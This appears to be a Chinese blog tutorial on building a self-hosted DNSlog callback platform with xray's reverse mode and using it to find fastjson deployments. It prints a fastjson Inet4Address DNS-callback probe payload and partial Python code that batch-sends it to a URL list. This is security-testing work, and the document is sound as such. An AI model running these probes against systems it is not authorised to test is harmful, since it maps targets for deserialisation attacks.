0x01 ^$&!#@*
因为ceye总是宕机,dnslog.cn不适合脚本化查询,
所以就需要用自己的平台了,
记录借助xray建立dnslog平台并以此来检测fastjson资产的过程(xray官方文档没写全,踩了点小坑)
0x02 准备零件
- 1.一台服务器,最低配置都没事,能运行xray就行(设为我的服务器ip为:123.321.213.2)
- 2.在阿里云购买域名(dnslog.cool)其他处不行哦,免费域名厂商的也可以,因为需要有设定DNS Host的功能
0x03 配置过程
https://wanwang.aliyun.com/?spm=5176.12825654.eofdhaal5.9.3dbd2c4apKHcoB&aly_as=TNeZQ8Wpi
- 1.此处购买域名,任意即可,因本人强迫症,购买dnslog.cool,跟随阿里云的购买流程即可,配置邮箱,配置个人信息等
- 2.自定义DNS Host:等待实名认证审核完成,一般10到20分钟即可,前往自定义DNS Host功能处创建2个DNS服务器,比如设置sven1.dnslog.cool,sven2.dnslog.cool,IP地址填写服务器ip:123.321.213.2
- 3.DNS修改:前往DNS修改功能,修改dns服务器为sven1.dnslog.cool,sven2.dnslog.cool
- 4.域名解析:然后点击左边的域名解析功能,填加2条解析记录,主机记录填写sven1,记录类型为A,解析线路为默认,记录值为123.321.213.2(我的服务器ip),剩下默认即可,第二条解析记录的主机记录填写sven2,其他同上条
- 5.确定域名的实名认证审核完成后,登录服务器(必须拥有独立外网ip的哦),下载xray,先使用命令行xray.exe reverse运行一遍,自动生成config.yaml,然后打开config.yaml,找到配置反连平台得配置(270行上下十来行都是),替换成如下程度,按照自己实际情况更换密码和ip和域名和dns服务器的前缀后运行xray(xray.exe reverse),运行完毕后访问链接:http://123.321.213.2:8001,就是dnslog管理平台了
reverse:
db_file_path: "reverse.db"
token: "123!@#QWE" //此处是设置登录反连平台得密码
http:
enabled: true
listen_ip: 0.0.0.0
listen_port: "8001"
dns:
enabled: true
listen_ip: 0.0.0.0
domain: "dnslog.cool"
is_domain_name_server: false
# 静态解析规则
resolve:
- type: A
record: sven1
value: 123.321.213.2
ttl: 60
- type: A
record: sven2
ttl: 60
value: 123.321.213.2
rmi:
enabled: true
listen_ip: 0.0.0.0
listen_port: 8088
resolve:
- type: A # A, AAAA, TXT 三种
record: localhost
value: 127.0.0.1
ttl: 60
client:
http_base_url: ""
dns_server_ip: "123.321.213.2"
remote_server: false
- 6.生成用来检测的域名:复制好后直接ping xxxxxx.dnslog.cool即可收到请求
0x04 fastjson资产检测
利用dnslog回显检测后端是否使用fastjson
Payload之一:
{"e":{"@type":"java.net.Inet4Address","val":"hbs9jr.dnslog.cn"}}
这样我的批量多线程检测脚本也就完成了,当然也只是一种思路,还有其他增加检测率的方法,部分代码如下
try:
randStr = ''.join(random.sample(string.ascii_letters + string.digits, 4))
dnslog = '{'+'"e":'+'{'+'"@type":"java.net.Inet4Address","val":"p-1111-pgfx.{}.dnslog.cool"'.format(randStr)+'}'+'}'
line=line.strip('\n')
k = requests.get(line,headers=fastjson_header,data=dnslog,allow_redirects=False,verify=False,timeout=10)
time.sleep(1)
check = 'http://11111111111:8001/_/api/event/list?lastID=&count=5&eventType=dns&action=Next'
wb_data = requests.get(check,headers=check_header,timeout=10)
req = wb_data.text
if randStr in req:
print("[+ "+" 存在fastjson: "+"状态码:"+str(k.status_code)+":"+' url:'+line)
f.write(line+"\n")
else:
print("[- "+" 不存在fastjson "+"状态码:"+str(k.status_code)+":"+' url:'+line)
except Exception as e:
print(e)
pass
吐槽
- 1.xray说明文档未写清需要去域名解析配置dns服务器的解析
- 2.浪费了一个域名,dnslog.run,在腾讯云买的,当时没有找到自定义dnslog服务器功能,后来有了。
- 3.所以都怪ceye没事宕个机 -.- !